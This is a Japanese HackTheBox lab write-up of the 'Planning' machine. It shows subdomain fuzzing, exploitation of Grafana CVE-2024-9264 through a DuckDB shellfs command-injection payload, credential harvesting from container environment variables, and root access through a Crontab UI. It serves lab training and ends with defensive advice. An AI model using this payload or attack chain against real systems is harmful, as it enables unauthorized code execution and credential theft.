1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Planning

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Planningです。

Planningでは、列挙やGrafanaの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 17:44 JST
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.25 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後planning.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-06-09 17.44.32.png

Education Coursesと書かれている通りに教育に関するWebサイトと思われます。

Gobusterを用いてコンテンツ探索を行いましたが、特に目ぼしい情報は見つかりませんでした。

ファジング

ffufを実行してファジングを行います。

ワードリストについて、SecListsのsubdomains-top1million-5000.txtを指定して実行したところ、何も検出されませんでした。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://planning.htb/ -H "Host: FUZZ.planning.htb" -fs 0,178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb/
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,178
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

しかし、ワードリストをnamelist.txtに変更して実行したところ、grafanaのサブドメインを検出しました。

$ ffuf -u http://planning.htb -H "Host:FUZZ.planning.htb" -w ~/tool/SecLists/Discovery/DNS/namelist.txt -fs 0,178 -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 257ms]
:: Progress: [151265/151265] :: Job [1/1] :: 397 req/sec :: Duration: [0:06:30] :: Errors: 0 ::

脆弱性分析

grafana.planning.htbにアクセスすると、Grafanaのログイン画面が確認できます。

スクリーンショット 2025-06-09 17.48.27.png

提供されている認証情報を用いてログインを行います。

スクリーンショット 2025-06-09 17.48.45.png

ログイン後、GrafanaのHome画面が表示されます。

スクリーンショット 2025-06-09 17.49.11.png

Grafanaのバージョンを確認すると、11.0.0であることが確認できます。

スクリーンショット 2025-06-09 17.49.59.png

GoogleでGrafanaのバージョン11.0.0に関する脆弱性を検索した結果、CVE-2024-9264の脆弱性が見つかりました。

CVE‑2024‑9264は、Grafana 11.0.0で導入された実験的機能であるSQL Expressionsに存在する脆弱性です。

この機能で生成されるクエリがDuckDBに渡される前に十分にサニタイズされていないため、コマンドインジェクション及びローカルファイルインクルードの脆弱性が生じます。また、VIEWER以上の権限を持つユーザーであれば、誰でもこの攻撃を実行できます。

GitHubで見つけたPoCを適当に試すと、RCEの実行が確認できました。

$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "id" http://grafana.planning.htb

[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)

上記idコマンドの結果及び/home配下の確認結果などから、Grafanaはコンテナで起動していることが推測できます。

$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "ls -l /home/" http://grafana.planning.htb

[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ls -l /home/
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ls -l /home/ >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
total 4
drwxr-x--- 2 grafana root 4096 May 14  2024 grafana

認証情報を探索していたところ、興味深い環境変数を発見しました。

$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb

GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=[REDACTED]
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana

システムハッキング

環境変数から取得した認証情報を用いてアクセスを行います。

ユーザーフラグ

enzoユーザでログイン後、ユーザーフラグが確認できます。

$ ssh ssh enzo@planning.htb

total 32
drwxr-x--- 4 enzo enzo 4096 Apr  3 13:49 ./
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ../
lrwxrwxrwx 1 root root    9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31  2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr  3 13:49 .cache/
-rw-r--r-- 1 enzo enzo  807 Mar 31  2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh/
-rw-r----- 1 root enzo   33 Jun  9 07:38 user.txt

ルートフラグ

sudoなどは特に設定されていなかったため、ssコマンドでリッスンしているポートを確認したところ、ローカルで起動しているサービスがいくつか確認できました。

$ ss -aln -t4

State                 Recv-Q                Send-Q                               Local Address:Port                                Peer Address:Port               Process               
LISTEN                0                     4096                                     127.0.0.1:3000                                     0.0.0.0:*                                        
LISTEN                0                     511                                      127.0.0.1:8000                                     0.0.0.0:*                                        
LISTEN                0                     151                                      127.0.0.1:3306                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:45411                                    0.0.0.0:*                                        
LISTEN                0                     4096                                    127.0.0.54:53                                       0.0.0.0:*                                        
LISTEN                0                     4096                                 127.0.0.53%lo:53                                       0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:80                                       0.0.0.0:*                                        
LISTEN                0                     70                                       127.0.0.1:33060                                    0.0.0.0:*    

3000番ポートはGrafanaで使用されています。8000番ポートを調査するため、ポートフォワーディングを行いアクセスします。

$ ssh -L 8000:127.0.0.1:8000 enzo@planning.htb

以下のような認証画面が確認できました。

スクリーンショット 2025-06-09 18.00.14.png

ログインするための認証情報を探索していたところ、/opt配下に興味深いディレクトリを発見しました。

total 16
drwxr-xr-x  4 root root 4096 Feb 28 19:21 ./
drwxr-xr-x 22 root root 4096 Apr  3 14:40 ../
drwx--x--x  4 root root 4096 Feb 28 19:06 containerd/
drwxr-xr-x  2 root root 4096 Jun  9 08:34 crontabs/

/opt/crontabs/ディレクトリよりcrontab.dbファイルが確認できます。

total 12
drwxr-xr-x 2 root root 4096 Jun  9 08:34 ./
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ../
-rw-r--r-- 1 root root  737 Jun  9 09:01 crontab.db

crontab.dbファイルの中身を確認すると、新たな認証情報を発見しました。

{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P [REDACTED] /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

取得した認証情報を用いてログインすると、GUIベースでcronジョブを管理できるCrontab UIの画面が表示されます。

スクリーンショット 2025-06-09 18.02.57.png

rootで動作していると思われるため、rootとして実行したいコマンドをジョブに設定します。

スクリーンショット 2025-06-09 18.05.19.png

cronの実行を待たずに「Run now」を押して、実行します。

スクリーンショット 2025-06-09 18.05.32.png

以下の例では、/tmp/配下にroot.txtファイルを出力することに成功しました。

total 60
drwxrwxrwt 14 root root 4096 Jun  9 09:05 ./
drwxr-xr-x 22 root root 4096 Apr  3 14:40 ../
-rw-r--r--  1 root root    0 Jun  9 09:03 bnLTQPdZAuWmfgDL.stderr
-rw-r--r--  1 root root    0 Jun  9 09:03 bnLTQPdZAuWmfgDL.stdout
-rw-r--r--  1 root root    0 Jun  9 09:05 EF0QqNRqIGZDPkLO.stderr
-rw-r--r--  1 root root    0 Jun  9 09:05 EF0QqNRqIGZDPkLO.stdout
-rw-r--r--  1 root root    0 Jun  9 09:04 ek1BQcgvd9uqZwnk.stderr
-rw-r--r--  1 root root    0 Jun  9 09:04 ek1BQcgvd9uqZwnk.stdout
drwxrwxrwt  2 root root 4096 Jun  9 07:37 .font-unix/
-rw-r--r--  1 root root    0 Jun  9 08:34 GTI22PpoJNtRKg0W.stderr
-rw-r--r--  1 root root    0 Jun  9 08:34 GTI22PpoJNtRKg0W.stdout
drwxrwxrwt  2 root root 4096 Jun  9 07:37 .ICE-unix/
-rw-r--r--  1 root root   33 Jun  9 09:05 root.txt
drwx------  3 root root 4096 Jun  9 08:24 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-fwupd.service-dYc8eZ/
drwx------  3 root root 4096 Jun  9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-ModemManager.service-PgyLV4/
drwx------  3 root root 4096 Jun  9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-polkit.service-JSkcnB/
drwx------  3 root root 4096 Jun  9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-logind.service-F41sRp/
drwx------  3 root root 4096 Jun  9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-resolved.service-vSlVdQ/
drwx------  3 root root 4096 Jun  9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-timesyncd.service-HVpK96/
drwx------  3 root root 4096 Jun  9 08:24 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-upower.service-eLgXvP/
drwx------  2 root root 4096 Jun  9 07:38 vmware-root_739-4248680507/
drwxrwxrwt  2 root root 4096 Jun  9 07:37 .X11-unix/
drwxrwxrwt  2 root root 4096 Jun  9 07:37 .XIM-unix/
-rw-r--r--  1 root root    0 Jun  9 09:05 YvZsUUfEXayH6lLj.stderr
-rw-r--r--  1 root root    0 Jun  9 09:05 YvZsUUfEXayH6lLj.stdout

おわりに

CVE-2024-9264のような脆弱性を防ぐためには、ユーザーが作成した式やSQL文をそのまま評価及び実行しないことが重要です。

ユーザー入力を直接クエリ文字列や実行コードとして組み込むことができる場合、SQLインジェクションだけでなく、データベースや組み込みエンジン経由でのファイル読み取りや外部コマンドの実行といった深刻な脅威を招きます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?